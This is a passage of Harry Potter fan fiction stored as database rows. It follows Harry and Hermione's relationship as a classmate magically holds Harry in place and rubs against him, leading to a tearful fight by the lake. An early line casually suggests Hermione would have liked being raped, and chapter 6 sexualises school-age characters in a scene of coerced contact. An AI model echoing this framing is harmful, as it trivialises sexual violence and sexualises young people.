want to join me in this beddon&#8217;t you Harry?&#8221; She have him another dirty look that made his insides twist up.</p>\n\n<p>&#8220;How do you do it Hermione?&#8221; he said, trying as hard as he could to get the look of Hermione&#8217;s face out of her mind. If he didn&#8217;t, he might as well raped her right there. Hermione would have probably liked it too.</p>\n\n<p>&#8220;I&#8217;m your girlfriend Harry,&#8221; she said smiling. &#8220;I know more about you than you think.&#8221;</p>\n\n<p>&#8220;Sure you do,&#8221; he said, leaning in and kissing her on the forehead. When he pulled back, he gazed into her eyes and his heart yet again skipped a beat. He blinked twice before leaning in and giving her the signature kiss, fearing that Hermione would pull away. To his delight, she didn&#8217;t.</p>\n\n<p>&#8220;Night Harry,&#8221; she said, smiling after they had finished.</p>\n\n<p>&#8220;Night Mione,&#8221; Harry said, feeling another urge to lean in and kiss her again. There was something really sexy about kissing her in her room, but figured that he would never leave if he did. He turned around and gave Hermione another look before closing her door. </p>\n\n'),
	(185, 5, '\n\n<b><p align="CENTER">Chapter 5 - The Unexpected Thing</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry walked nonchalantly to classes with Ron on the Monday morning. It felt like it went rather quickly as he was really eager to be with Hermione again. He did see her in corridors a few times in passing and gave her quick kisses before moving along again. </p>\n\n<p>Ron seemed to like the idea himself and gave Adelle a kiss when he saw her. She was surprised with it, but nonetheless enjoyed it. After Harry&#8217;s and Ron&#8217;s last class of the day, (Divination) a pretty 7th year Ravenclaw girl that Harry had in some classes and seen walking around school, but never had the pleasure of meeting, stopped him and Ron.</p>\n\n<p>&#8220;Hello,&#8221; said the girl. &#8220;Can I please talk to you Harry?&#8221;</p>\n\n<p>&#8220;Sure,&#8221; he said awkwardly, raising an eyebrow at Ron, who shrugged.</p>\n\n<p>&#8220;Alone,&#8221; she said at the last minute, looking over at Ron.</p>\n\n<p>&#8220;But -&#8221; started Harry, feeling suddenly afraid to be alone with her.</p>\n\n<p>&#8220;That&#8217;s ok Harry,&#8221; interrupted Ron, not noticing that Harry didn&#8217;t want to be left alone. </p>\n\n<p>&#8220;I need to meet Adelle right now anyway. She told me something about&#8230; coming to terms. Whatever that means.&#8221;</p>\n\n<p>Harry snorted a laugh when he heard that, but nodded to Ron, who had left the two of them alone.</p>\n\n<p>&#8220;Hi,&#8221; said the girl again, holding out her hand. &#8220;My name&#8217;s Serine Marshal.&#8221;</p>\n\n<p>&#8220;Nice to meet you Serine,&#8221; replied Harry shaking her hand.</p>\n\n<p>&#8220;Look Harry,&#8221; she said in a serious tone. &#8220;I just want to be straight forward with you.&#8221;</p>\n\n<p>&#8220;O-okay,&#8221; replied Harry, narrowing his eyes in confusion.</p>\n\n<p>&#8220;I just want to say that I&#8217;ve had this really big crush on you since like forever.&#8221;</p>\n<p>She said this really fast.</p>\n\n<p>&#8220;Really?&#8221; said Harry, feeling a bit flattered and putting on a smile.</p>\n\n<p>&#8220;Yeah,&#8221; she said, blushing a bit. &#8220;And I was wondering&#8230; um&#8230; will you come out on a date with me?&#8221;</p>\n\n<p>&#8220;Oh!&#8221; exclaimed Harry, he himself blushing a bit. He was surprised completely by her offer, but he knew deep down that he couldn&#8217;t, not because that he didn&#8217;t like her, but because he was with Hermione. He was wondering if she knew or not.</p>\n\n<p>&#8220;Oh, I&#8217;m sorry Serine,&#8221; said Harry, trying not to sound mean. </p>\n\n<p>&#8220;Why?&#8221; she asked, looking extremely hurt. &#8220;Don&#8217;t you think I&#8217;m pretty?&#8221;</p>\n\n<p>Harry shook his head. He, on one hand, didn&#8217;t even know the girl. And here she was, already asking him out on a date. It wasn&#8217;t that she wasn&#8217;t a bad looking girl. She was <i>very</i> good looking. Her hair was dark brown with blond streaks, which came about to her shoulders, and she had light blue eyes. The one thing that caught Harry&#8217;s eye mostly was her chest, which seemed to swell out of her blouse. Her blouse looked little to small for her as it was stretched taught over her bosom. Harry had to slap himself mentally in the head every time his eyes dropped down. She was pretty, but Hermione was beautiful.</p>\n\n<p>&#8220;Sure I do,&#8221; he responded, half looking at her face and half looking at he chest. &#8220;I would&#8230; really. But, as you know, I&#8217;m with Hermione.&#8221;</p>\n\n<p>&#8220;I know,&#8221; she simply put.</p>\n\n<p>&#8220;Then why -?&#8221;</p>\n\n<p>&#8220;Well,&#8221; she said, giving him a flirtatious smile while twirling a strand of hair on her finger. She dropped the small bag she was carrying to her side. The sweet and innocent look that was on her face that Harry had come to know her for, completely vanished. Harry suddenly felt very uncomfortable. &#8220;I think that it&#8217;ll be more fun that way. Don&#8217;t you think?&#8221;</p>\n\n<p>&#8220;Ummm,&#8221; Harry gulped, wondering where this was going. &#8220;I can&#8217;t.&#8221;</p>\n\n<p>&#8220;Don&#8217;t you think it&#8217;s kinky, going out with someone while secretly going out with someone else?&#8221; Serine asked, wetting her lips and pushing her body closer to him.</p>\n<p>Harry gulped again, his forehead breaking into a sweat. He didn&#8217;t know if he felt turned on, or really scared.</p>\n\n<p>&#8220;Don&#8217;t you want to see where this could go or what we could become?&#8221; she asked, caressing the side of his arms, feeling into his muscles.</p>\n\n<p>&#8220;Actually,&#8221; said Harry felling flustered, pulling away from her hand. &#8220;No, I don&#8217;t want to see where this would go. Hermione&#8216;s my girlfriend and I refuse to do anything to hurt her!&#8221; Harry had just had about enough of her and he was starting to hate her because of what she was attempting and the way she was acting. His love and loyalty for Hermione was so strong, he didn&#8217;t want to do <i>anything</i> with her, let alone cheat on Hermione.</p>\n\n<p>&#8220;Come on Harry,&#8221; Serine persuaded again, pushing her chest up against him. This made Harry forget he was upset at all and felt a surge of pleasure run through his body. Even though this turned him on, his love for Hermione took over and he tried immensely to pull away, but suddenly, found that he couldn&#8217;t. He tried again, attempting to take a step back but his feet remained planted in the floor. He tried moving his arms away, still to no luck. He did find however that he could move freely and toward Serine. He wasn&#8217;t bind to anything and his muscles started to ache very much. Harry felt very afraid and very vulnerable. He was alone in an empty corridor with a very voluptuous girl, that had the power to basically do anything to him, in front of him and he couldn&#8217;t retreat. What would happen if someone saw them like this? What would happen if <i>Hermione </i>saw them like this? What could she possibly think?</p>\n\n<p>&#8220;I&#8217;ll be fun,&#8221; Serine said, bringing her lips dangerously close to Harry&#8217;s. He pursed his lips and clamped his eyes shut in frustration.</p>\n\n<p>&#8220;No,&#8221; he whispered, waiting detestably for her lips to touch his, about to have a kiss that he really didn&#8217;t want. To his surprise, it didn&#8217;t come. He opened one eye to see her head back further than it was when he had last had his eyes open. She had a small smirk on her face. Then, to his horror, he heard a voice he prayed not to hear at that moment.</p>\n\n<p>&#8220;Harry!&#8221; shouted Hermione, walking with authority toward them.</p>\n\n<p>&#8220;<i>Oh no</i>,&#8221; thought Harry, expecting the worst. &#8220;<i>Look at the predicament that I&#8217;m in. I&#8217;m </i></p><i>\n</i><p><i>alone in a corridor with a girl that&#8217;s not </i>Hermione, <i>and she had to catch me like this. What is she going to think!?&#8221; </i></p><i>\n</i>\n<p>&#8220;Suit yourself,&#8221; said Serine with a smile, backing away from Harry and picking up her bag she had dropped. &#8220;It&#8217;s your lost. Bye Harry!&#8221; She waved innocently at him and trotted off, not even looking at Hermione. After she had turned the corner, Harry turned to face Hermione, waiting for her to explode at him.</p>\n\n<p>&#8220;<i>What the heck was that!?&#8221; </i>she shouted angrily and him, putting her hands on her hips and frowning at him. Harry tried his best to explain, but ended up mumbling the words.</p>\n\n<p>&#8220;Wait Hermione. It&#8230;it&#8217;s not what you think. I&#8230;I was&#8230; Let me explain.&#8221;</p>\n\n<p>&#8220;You had better explain! And you better make it good,&#8221; she said, crossing her arms.</p>\n\n<p>Harry had explained the best he could. About how she had stopped him and Ron and told him that she wanted to speak alone with him. How she had asked him out on a date and he refused because he was already going out with Hermione (this made Hermione smile, but she tried to hide it from Harry). About how even though he said no, she kept pushing it, flirtatiously begging him to say yes.</p>\n\n<p>&#8220;And <i>did</i> you say &#8216;yes&#8217; Harry?&#8221; she asked dangerously, still slightly mad at him, her arms still crossed.</p>\n<p>&#8220;Of course not!&#8221; he exclaimed. &#8220;I would never do something like that. Ever.&#8221; He took a step closer to Hermione. She looked ready to back away, but she didn&#8217;t. He gave her a kiss on the cheek. Hermione hesitated and again looked ready to pull away, but she received the kiss form him. The look on her face still wasn&#8217;t to Harry&#8217;s liking and he was content that she was still upset with him. After all, he didn&#8217;t blame her for being upset; he would feel the same way if he saw her alone with another wizard in a dark, empty corridor. He was surprised that she didn&#8217;t ask why he hadn&#8217;t pulled away from her or simply walked away, but figured that he didn&#8217;t want to explain that he <i>couldn&#8217;t. </i>He didn&#8217;t want to bring it up again and persuade it and found that he would look and sound stupid if he did try to explain that <i>somehow</i> he didn&#8216;t pull away. He <i>did</i> have one more thing he wanted to do to redeem himself.</p>\n\n<p>&#8220;Hermione,&#8221; he said, uncrossing her arms, taking her left hand, and holding it firmly against his chest with both hands, right where his heart was. &#8220;Do you feel that?&#8221;</p>\n<p>She nodded. Harry took a deep breath before continuing.</p>\n\n<p>&#8220;That&#8217;s beating for a reason, and one important reason only. It&#8217;s what keeps me alive everyday and I sleep happily every night hoping to see another. It&#8217;s beating because of you Hermione. I love <i>you. </i>And <i>only</i> <i>you.&#8221;</i></p><i>\n</i>\n<p>Hermione stared at Harry, her angry face gone and replaced with a look of sorrow and understanding. </p>\n\n<p>&#8220;You have every right to be upset with me,&#8221; continued Harry, &#8220;and I don&#8217;t expect you to forgive me straightaway. But believe me, I didn&#8217;t mean anything like that to happen. And I would never do anything intention to hurt you like that.&#8221; Harry took another deep breath again, not believing it himself at where he had come up with that speech.</p>\n\n<p>&#8220;If my words don&#8216;t make you believe me,&#8220; said Harry, looking very sorry, &#8220;then maybe the look in my eyes and the beating of my heart will. Hopefully, you&#8217;ll find the truth there.&#8221;</p>\n\n<p>Hermione continued to stare at Harry, taking in Harry&#8217;s entire apology. She was still skeptical about Harry&#8217;s actions, yet, his apology sounded so sweet and so perfect. She studied his eyes the whole time, even before he had said to look in them, searching for a lie anywhere. To no surprise, she didn&#8217;t find it anywhere.</p>\n<i>\n</i><p><i>&#8220;How does he do it?&#8221; </i>she asked herself. &#8220;<i>When he tells the truth, </i>he tells the truth!&#8221;</p>\n<p>She felt her hand against his heart, which Harry still held firmly against, and felt its beats. It was beating a bit quicker than usual, probably because of shock and fear. She continued to feel it, listening to it, looking for a lie anywhere.</p>\n<i>\n</i><p><i>&#8220;He&#8217;s not lying Hermione,</i>&#8221; she heard his heart tell her. <i>&#8220;He&#8217;s 110% truthful and 210% faithful to you. You should be proud. Not many boyfriends are as truthful and faithful as he is. You&#8217;re very lucky to have a boyfriend like him.&#8221;</i> That was it. That&#8217;s all she needed to hear.</p>\n\n<p>&#8220;Do you forgive me Hermione?&#8221; Harry asked apologetically.</p>\n\n<p>&#8220;Yes Harry,&#8221; she said, blinking slowly at him, her eyes sparkling at him. &#8220;I forgive you.&#8221;</p>\n<p>Harry gave a no teethed smile that looked like he was ready to cry. He did what his instincts told him and leaned in and gave her their signature kiss. The open mouthed kisses that were usually five, ended up being about 15. Harry made special effort to make them special and sweeter than before and for some reason, even after the 5th opened mouth kiss, Hermione seemed to know that it wasn&#8217;t over and continued. That&#8217;s what made their signature kiss so special. They never talked about it, or when they were going to do it, or if it was going to be modified this one time. They just &#8230;know about it. After the final kiss on Hermione&#8217;s forehead, resting his on hers with a pause, he released her, put him hand around her and walked her back to their private rooms. </p>\n\n'),
	(185, 6, '\n\n<b><p align="CENTER">Chapter 6 - The Other Unexpected Thing</p>\n</b>\n<p>&nbsp;</p>\n<p>Ron eagerly pushed and persuaded Harry into telling him what happened in the corridor with Serine the next day.</p>\n\n<p>&#8220;What happened Harry?&#8221; he asked, looking bewildered for answer.</p>\n\n<p>&#8220;I&#8217;m not going to say anything,&#8221; said Harry frowning. &#8220;I know you&#8217;re going to make a big deal out of it.&#8221;</p>\n\n<p>&#8220;I won&#8217;t!&#8221;</p>\n\n<p>&#8220;Nope.&#8221;</p>\n\n<p>Ron continued to beg and beg Harry everywhere; when they walked to classes, in class, at lunch, it was the same thing.</p>\n\n<p>&#8220;Aren&#8217;t you going to tell me Harry?&#8221;</p>\n\n<p>&#8220;Nope.&#8221;</p>\n\n<p>***</p>\n\n<p>&#8220;What about now?&#8221;</p>\n\n<p>&#8220;Nope.&#8221;</p>\n\n<p>***</p>\n\n<p>&#8220;Harry you still didn&#8217;t tell me what happened between you and Serine.&#8221;</p>\n\n<p>&#8220;And I&#8216;m not going to.&#8221;</p>\n\n<p>***</p>\n\n<p>&#8220;Harry about -&#8221;</p>\n\n<p>&#8220;No!&#8221;</p>\n\n<p>They were sitting alone in the Gryffindor common room. Ron looked offended by his response, but nonetheless continued what he was going to say.</p>\n\n<p>&#8220;I <i>said</i>, about that project that Professor McGonagall assigned, do you think you could help me with it?&#8221; asked Ron, a bit more scornful than he meant it to sound.</p>\n<p>&#8220;Oh,&#8221; said Harry, feeling very embarrassed. &#8220;Sure.&#8221;</p>\n\n<p>As he helped out with Ron, Harry somehow decided to tell Ron everything.</p>\n\n<p>&#8220;Are you serious Harry?&#8221; said Ron, astonished. &#8220;You couldn&#8217;t move at all?&#8221;</p>\n\n<p>&#8220;No I couldn&#8217;t,&#8221; he said, scratching his head. &#8220;I wonder why?&#8221;</p>\n\n<p>&#8220;Sure you couldn&#8217;t,&#8221; Ron said coolly.</p>\n\n<p>&#8220;What d&#8217;you mean, <i>&#8216;sure I couldn&#8217;t&#8217;?&#8221;</i> Harry asked skeptically.</p>\n\n<p>&#8220;Look Harry, Hermione is good and all, but I wouldn&#8217;t want to move either if Serine was all up against me. Especially with those huge&#8230;&#8221;</p>\n\n<p>Ron tingled with pleasure. Harry couldn&#8217;t believe what he was hearing.</p>\n\n<p>&#8220;I don&#8217;t believe you Ron. You don&#8217;t believe don&#8217;t you?&#8221; he asked angrily.</p>\n\n<p>&#8220;Of course I believe you mate,&#8221; he answered. &#8220;But it does seem a little odd.&#8221;</p>\n\n<p>&#8220;What does!?&#8221;</p>\n\n<p>&#8220;That you didn&#8217;t want to move or <i>couldn&#8217;t</i> move as soon as she started rubbing up against you,&#8221; said Ron coolly again. Then suddenly, a dark look flashed on his face. &#8220;Tell me Harry, did you like it? Bet it felt good didn&#8216;t it? Cheating on Hermione?&#8221;</p>\n\n<p>&#8220;Shut up Ron! That&#8217;s not funny!&#8221; shouted Harry, looking ready to fly fists at Ron&#8217;s face. But it didn&#8217;t stop Ron from laughing.</p>\n\n<p>&#8220;I&#8217;m kidding!&#8221; he exclaimed as Harry swung a punch and missed Ron by a hair. He gave up and grumpily sat down on the couch.</p>\n\n<p>&#8220;I&#8217;m in love with Hermione, Ron,&#8221; Harry said. &#8220;Get it straight! There is no other girl even half as great as Hermione.&#8221;</p>\n\n<p>&#8220;I know Harry, I know,&#8221; said Ron, nodding. &#8220;But there&#8217;s something you have to know about cheating, Harry.&#8221;</p>\n\n<p>&#8220;I&#8217;m not cheating!&#8221; he shouted, throwing his hands in the air.</p>\n\n<p>&#8220;I know,&#8221; said Ron, &#8220;but still. You have to listen to this.&#8221;</p>\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Well,&#8221; said Ron, starting to sound a bit like Hermione. &#8220;Cheating is what <i>she </i>perceives as cheating.&#8221;</p>\n\n<p>&#8220;What&#8217;d you mean?&#8221; asked Harry.</p>\n\n<p>&#8220;Well, if you think that guiltless hand-holding or a innocent kiss on the cheek to a fellow witch is harmless, and Hermione sees it as cheating, then that&#8217;s cheating.&#8221;</p>\n\n<p>Harry looked dumbfounded, wondering where on Earth he had picked that up; either from his older brothers or from experience.</p>\n\n<p>&#8220;Right Ron,&#8221; confirmed Harry. &#8220;I got it.&#8221;</p>\n\n<p>&#8220;Good. Because that information alone may save your ass one day.&#8221;</p>\n\n<p>***</p>\n\n<p>After another hard school day, Harry walked casually down the halls with Ron. He felt very happy this type of day. It was soon going to be Hermione&#8217;s birthday and Harry had every reason to be excited. He saw a face he wanted to see as he turned a corner.</p>\n\n<p>&#8220;Hi Harry,&#8220; Hermione said when she saw him, hugging a stack of books to her chest.</p>\n\n<p>&#8220;Hi Hermione,&#8221; he said with a smile and he approached her, not even doing anything, except automatically leaning in and kissing her. Ron rolled his eyes as he turned away, tuning out of Harry and Hermione because when they were together, the rest of the world didn&#8217;t matter. </p>\n\n<p>&#8220;How was your day?&#8220; she asked him with a smile.</p>\n\n<p>&#8220;Well it was really dull&#8230; until I saw you,&#8220; said Harry sweetly. </p>\n<p>Hermione responded with another smile. She took another step closer to him moving her face close to his.</p>\n\n<p>&#8220;Hermione,&#8221; Harry whispered slowly, &#8220;do you mind&#8230; if I&#8230;kiss&#8230; you&#8230; aga -?&#8221;</p>\n<p>He didn&#8217;t finish because Hermione had already captured her lips with his, initiating the signature kiss, not caring if anyone was watching them in the crowding hall. After the final movement (Harry kissing her on the forehead, and holding her), he looked deeply into her eyes.</p>\n\n<p>&#8220;I don&#8217;t know what it is Hermione,&#8221; he whispered softly to her, still with foreheads touching, catching his breath from the mind-blowing kiss, &#8220;but there&#8230; there&#8230;&#8221;</p>\n\n<p>&#8220;Is something really sexy about kissing me in the hall in front of everyone?&#8221; Hermione finished for him. Harry smiled.</p>\n\n<p>&#8220;You really do know me better than I think don&#8217;t you?&#8221;</p>\n\n<p>Hermione didn&#8217;t answer, he just gave him a soft kiss on the lips.</p>\n\n<p>&#8220;Well I need to be going to the library to look something up.&#8221;</p>\n\n<p>&#8220;Of course,&#8221; said Harry. &#8220;Where else would you be?&#8221;</p>\n\n<p>&#8220;Harry!&#8221; she exclaimed, suddenly feeling upset with him. &#8220;Honestly! Just because I&#8217;m your girlfriend, it doesn&#8217;t give you the right to tease me!&#8221;</p>\n\n<p>&#8220;Sure it does,&#8221; said Harry, shrugging.</p>\n\n<p>Hermione scoffed before turning on her heel and taking a few paces. He felt a hand on her shoulders and knew immediately that it was Harry&#8217;s. He turned her around with a pirouette and before she could yell at him. He quickly leaned in and kissed her, once again starting the signature kiss. At first, Hermione wanted to pull away, but when she felt the tenderness of his lips, she just received the kiss, still feeling upset with Harry and she was determined not to let him win that easily. This was a signature kiss that lasted a bit longer than usual and at about the 7th open-mouthed kiss, Hermione&#8217;s feeling of anger was replaced with feeling of passion as she gave in into Harry&#8217;s kiss, kissing him back passionately. When they had finished, Harry spoke.</p>\n\n<p>&#8220;Bye Hermione,&#8221; he said, as though he had not upset her. &#8220;I&#8217;ll see you later?&#8221;</p>\n\n<p>&#8220;Sure Harry,&#8221; she responded with a sigh.</p>\n\n<p>&#8220;You better go,&#8221; said Harry, raising an eyebrow, &#8220;before I kiss you again. Otherwise you may never get to the library.&#8221; She nodded and quickly made her way, giving him one last smile. Harry turned to find Ron waiting impatiently for him. </p>\n\n<p>&#8220;It&#8217;s about bloody time!&#8220; he exclaimed. &#8220;I thought that would never end. But anyway,&#8221; he continued, &#8220;I saw what was happening. Hermione was totally upset with you and the next minute, she totally forgave you! How do you do it!?&#8221;</p>\n\n<p>&#8220;Well I -&#8221; started Harry, but he didn&#8217;t finish because he saw a face he didn&#8217;t want to see approaching him. Serine Marshal. Harry reacted quickly.</p>\n\n<p>&#8220;Sorry Ron,&#8221; said Harry, looking very determined. &#8220;I need to get the hell out of here.&#8221;</p>\n\n<p>&#8220;What?&#8221; asked Ron dumfounded. Harry pointed in the direction of Serine. &#8220;Oh right! But where you going Harry?&#8221;</p>\n\n<p>&#8220;Anywhere!&#8221; he exclaimed. &#8220;As long as I don&#8217;t need to talk to her!&#8221; He ran away in another direction before Ron could respond, leaving him behind. Harry ran and ducked through corners, not having any idea where he was going; just as far away from Serine as possible. After about 5 minutes of running, Harry&#8217;s running workout through the corridors of Hogwarts became a total waste. Just as he ran to turn a corner in an empty corridor, Serine appeared (somehow magically) on the other side.</p>\n\n<p>&#8220;Hi Harry,&#8221; she said, waving at him.</p>\n\n<p>&#8220;Oh hi Serine,&#8221; he responded in a dead tone, catching his breath.</p>\n\n<p>&#8220;Why were you running?&#8221; she asked, noticing his quick intake of air.</p>\n\n<p>&#8220;I was&#8230; nothing really,&#8221; Harry lied. Serine looked down one corridor and another to see if anyone was there. It was empty.</p>\n\n<p>&#8220;Well, do you have any energy left for me?&#8221; she asked flirtatiously taking steps toward him. Harry backed away from her until he hit a wall behind him. The wall stopped him, but that didn&#8217;t stop Serine from approaching him. She again pressed her body against his, making sure that her chest was smashed against his.</p>\n\n<p>&#8220;Oh Harry!&#8221; she moaned so loudly that Harry was afraid someone would hear.</p>\n\n<p>&#8220;Shhh&#8221; said Harry.</p>\n\n<p>&#8220;Oh, the quiet type. How kinky!&#8221;</p>\n\n<p>&#8220;No, no,&#8221; said Harry. He wanted to run away but once again, found that he couldn&#8217;t move a muscle away from her. He tried again, putting as much effort as he could to run, but the harder he tried, the more difficult it was for him to break free. He experimented and moved his hand around her back; he could move closer to her.</p>\n\n<p>&#8220;Oh yeah, Harry,&#8221; she moaned again. &#8220;I knew you would give in.&#8221;</p>\n\n<p>&#8220;I&#8217;m not giving in!&#8221; shouted Harry, feeling very vulnerable. Serine ignored him. She turned around and slammed her back against him. She gasped with a moan and leaned her head back, resting it on Harry&#8217;s shoulder. She bit her lip with pleasure and shut her eyes in concentration as she rubbed her bottom in Harry&#8217;s pelvic region.</p>\n\n<p>&#8220;Oh yes Harry,&#8221; she said, rubbing into him even harder. &#8220;That feels so good.&#8221;</p>\n<i>\n</i><p><i>&#8220;Oh no,&#8221; </i>thought Harry, noticing that he was starting to get turned on by her. It wasn&#8217;t really his fault. He <i>was</i> a guy. Any guy, single or not, would have got an erection if a girl rubbed her voluptuous body on him.</p>\n<i>\n</i><p><i>&#8220;No, no!&#8221; </i>thought Harry. &#8220;<i>please don&#8217;t do this Harry! Clean thought&#8217;s Harry, clean thoughts!&#8221; </i>That wasn&#8217;t helping. He found that thinking to <i>think</i> of clean thoughts, made it even <i>harder</i> to think of clean thoughts and more and more dirtier thoughts raced through his head.</p>\n\n<p>&#8220;I can&#8217;t,&#8221; said Harry, his voice trailing. Then, the inevitable happened. His breathing quickened and he closed his eyes, accepting the fact that a girl, which wasn&#8217;t Hermione, was filling him up. His mind became cloudy as it was filled with uncontrollable thoughts. It came to a point to where it didn&#8217;t matter who it was that was pleasuring him. So what if anyone saw him? So what if Hermione saw him? It was really her fault that he was like this. Because of her charm on her, he couldn&#8217;t touch her and he couldn&#8217;t have intercourse with her. She had not given him any since they had gone out and he could have it right now with Serine if he wanted to. The wait for it was unbearable and he just had to have it already.</p>\n\n<p>&#8220;Ugh&#8230;&#8221; Serine moaned, as she felt Harry rub back into her. &#8220;Thank you Harry. That feels good.&#8221;</p>\n\n<p>Harry had totally lost his mind. He put his hands on her shoulders, still rubbing into her as she rubbed into him. His hands snaked from her shoulders, down the sides of her arms and on her belly, right below her protruding chest. Serine moaned like she never had before as Harry rubbed and caressed her stomach.</p>\n\n<p>&#8220;You can touch them Harry,&#8221; she said between gasps and moans, referring to her breasts. &#8220;I&#8217;m letting you.&#8221;</p>\n\n<p>Harry was ready. Slowly, he moved his hands up to her chest licking his lips and his hands were a bout to be filled, then, he felt it. A really deep feeling, like someone smashed his face with a boulder, like a sudden revelation. He couldn&#8217;t believe what he was doing! He was actually cheating on Hermione, something that he planned never to do. He gained his senses quickly, taking his hands off her and stopped rubbing into her. He tried once again to pull away, only to find that for some odd reason, he couldn&#8217;t. Even though he had given up, Serine hadn&#8217;t.</p>\n\n<p>&#8220;Don&#8217;t stop now Harry,&#8221; she said. &#8220;Quit playing hard to get and just fill me up.&#8221;</p>\n\n<p>&#8220;No!&#8221; he demanded. &#8220;I&#8217;m with Hermione!&#8221;</p>\n\n<p>&#8220;So?&#8221; she said. &#8220;Hermione doesn&#8217;t have to know.&#8221;</p>\n\n<p>&#8220;What!?&#8221; Harry exclaimed, still trying hard to get away from her to no luck. He couldn&#8217;t believe what he was hearing and Serine just wouldn&#8217;t quit. He struggled as hard as he could to break free. Then, as if anything couldn&#8217;t get any worse, it did.</p>\n\n<p>&#8220;Harry!&#8221;</p>\n<i>\n</i><p><i>&#8220;Oh no!&#8221; </i>thought Harry, praying that it wasn&#8217;t the voice he thought he heard. It was -</p>\n<p>&#8220;Hermione!&#8221; he shouted, seeing her on the end of the corridor. He saw the look of disbelief and the look of being hurt and betrayed on her face, seeing the awkward position he and Serine was in. There was no way in hell he was going to explain himself out of this. </p>\n\n<p>&#8220;Wait! It&#8217;s not what it looks like I can explain&#8230;&#8221; But it was to late. Hermione&#8217;s lip was already trembling and tears ran down her face. She buried her head in her hands, turned on her heel and ran in the opposite direction, sobbing loudly.</p>\n\n<p>&#8220;Hermione wait!&#8221; he shouted after her, but Hermione didn&#8217;t wait. She seemed to run even faster.</p>\n\n<p>&#8220;Leave her Harry,&#8221; said Serine blandly, still trying to rub into him. &#8220;You&#8217;re with me now.&#8221;</p>\n\n<p>&#8220;<i>NOOO!!!&#8221; </i>shouted Harry, fighting once again to break away from her. He tried with all his might, doing all he could, using every bit of energy he had in his body. The need to get to Hermione was fueling him with energy, endorphins pulsing through his blood; it was this that gave him the strength he needed. Strangely, it felt like breaking free of a curse and his efforts seemed to be working. It felt a lot like breaking out of a binding rope, slowly loosening until (what seemed to him like) he broke free. Harry had to take a quick breath for lost of energy before he charged in the direction that Hermione had run, not even looking back to see the shocked and astonished look on Serine&#8217;s face.</p>\n\n\n'),
	(185, 7, '\n\n<b><p align="CENTER">Chapter 7 - Feelings Change</p>\n</b>\n<p>Harry kept running, being fueled by his love for Hermione, his desperate need to find her. He could hear running footsteps in one direction and he knew immediately it was Hermione. He ran after them, following the sounds. After turning the corner, he saw the silhouette of Hermione closing the door behind her, heading outside. He ran as fast as he could down the long corridor to get to her, passing by the entrance to the Great Hall and almost running through Nearly-Headless Nick, the Gryffindor ghost, (&#8220;Sorry Sir Nicholas! I&#8217;m in a hurry!&#8221;). He burst through the main castle doors and he searched for Hermione. He saw her, curled up into a ball, sitting on the edge of the lake, sobbing loudly.</p>\n\n<p>&#8220;Hermione!&#8221; he yelled. He didn&#8217;t know if he was heard or if she ignored him. He walked over to her, thinking about what he was going to say this time.</p>\n\n<p>&#8220;Hermione,&#8221; he said again in a coaxing voice as he reached her, standing right at her side. She didn&#8217;t answer. She was still crying and sobbing loudly, a lot more than he had ever seen her cry. Harry bent down next to her and put and tried to put an arm around her.</p>\n\n<p>&#8220;Don&#8217;t touch me Harry!&#8221; she yelled, yanking his arm off of her. She went back to crying. This was not a good sign for Harry.</p>\n\n<p>&#8220;I&#8217;m sorry Hermione,&#8221; he said, not knowing what else to say.</p>\n<p>&#8220;Sorry for what!?&#8221; she exclaimed with tears running down her face, suddenly standing up. &#8220;Sorry for feeling up some other witch!? Sorry for wanting to cheat on me!? You didn&#8217;t look so sorry when she was all over you!&#8221;</p>\n\n<p>&#8220;Hermione let me explain, I -&#8221; said Harry, slowly standing up, but Hermione interrupted him.</p>\n\n<p>&#8220;I don&#8217;t want to hear it Harry!&#8221; she said, going back to crying a little. &#8220;There is nothing that you can explain that&#8217;ll get you out of this one. I caught you red-handed! As if the first time wasn&#8217;t enough, I catch you going at it again a second time!&#8221;</p>\n\n<p>&#8220;I wasn&#8217;t my fault!&#8221; yelled Harry. It was one of the first times that Harry had raised his voice to her. He didn&#8217;t like it, but felt that that was the only way she was going to listen to him. &#8220;She approached me!&#8221;</p>\n\n<p>&#8220;<i>It wasn&#8217;t your fault!?&#8221; </i>she yelled back between sobs. &#8220;Then why didn&#8217;t you run when she approached you? You didn&#8217;t seem to give much effort to get away! It was like you <i>didn&#8217;t</i> want to get away!&#8221;</p>\n\n<p>Harry looked down and shook his head angrily. He figured that telling her that for some reason he <i>couldn&#8217;t </i>get away would make him look stupid in front of her and that she might think that he was making it all up. He decided that he best keep it to himself for now.</p>\n\n<p>&#8220;What Harry?&#8221; said Hermione, seeing him shake his head. &#8220;You <i>accidentally</i> let her smash you against a wall and you <i>accidentally </i>let her rub on you!?&#8221;</p>\n\n<p>&#8220;Don&#8217;t be stupid Hermione!&#8221; Harry snapped back defensively, so loudly that a few birds that were in the tree that was shading them flew away. &#8220;You know that I would never cheat on you!&#8221;</p>\n\n<p>&#8220;You have a very unique way of showing it!&#8221;</p>\n\n<p>&#8220;<i>Shut up </i>Hermione! You&#8217;re really starting to piss me off!&#8221;</p>\n\n<p>That was it. After he had said that last sentence, Hermione immediately went back to her sobbing again, throwing her face in her hands. At first, Harry didn&#8217;t care, but as he continued to watch her, he started to feel sorry for yelling at her. Another thing that Harry had not planned to do: She was crying because of him.</p>\n\n<p>&#8220;Hermione I&#8230; I&#8216;m sorry,&#8221; he said, starting to feel tears build up in his eyes. He put his hands on her shoulders, thinking that she was going to pull away. She didn&#8217;t. He took one hand and put it under her chin to make her look at him. There was only one thing he felt like doing, hoping that right after it, everything will be back to normal. He leaned in, ready to kiss her. Hermione stopped him by putting both of her hands on his chest.</p>\n<p>&#8220;No Harry,&#8221; she said sniffling, shaking her head. &#8220;That&#8217;s not going to work this time.&#8221;</p>\n\n<p>&#8220;Look at my eyes Hermione!&#8221; he said in a last minute way. &#8220;I&#8217;m sorry!&#8221;</p>\n\n<p>She studied his eyes carefully like she had done in the past. Since he had tears in his eyes, it was really hard to read them this time. She searched and searched desperately and hoping that she was going to see what she wanted, like she had seen it before. After studying Harry&#8217;s eyes like a detective, to her surprise, she didn&#8217;t find an ounce of truth in there. Her lip trembled and she started to sob again, very saddened that she didn&#8217;t find what he was looking for. Her head dropped down as she spoke.</p>\n\n<p>&#8220;I don&#8217;t see it Harry&#8230;&#8221;</p>\n\n<p>Harry felt a shiver run through his body. What was going on? He couldn&#8217;t have been more truthful about how sorry he was, and at this one damned time, Hermione didn&#8217;t find the truth in his eyes.</p>\n\n<p>&#8220;What!?&#8221; he exclaimed in retaliation, gently shaking her. &#8220;Look again Hermione!&#8221;</p>\n\n<p>She looked 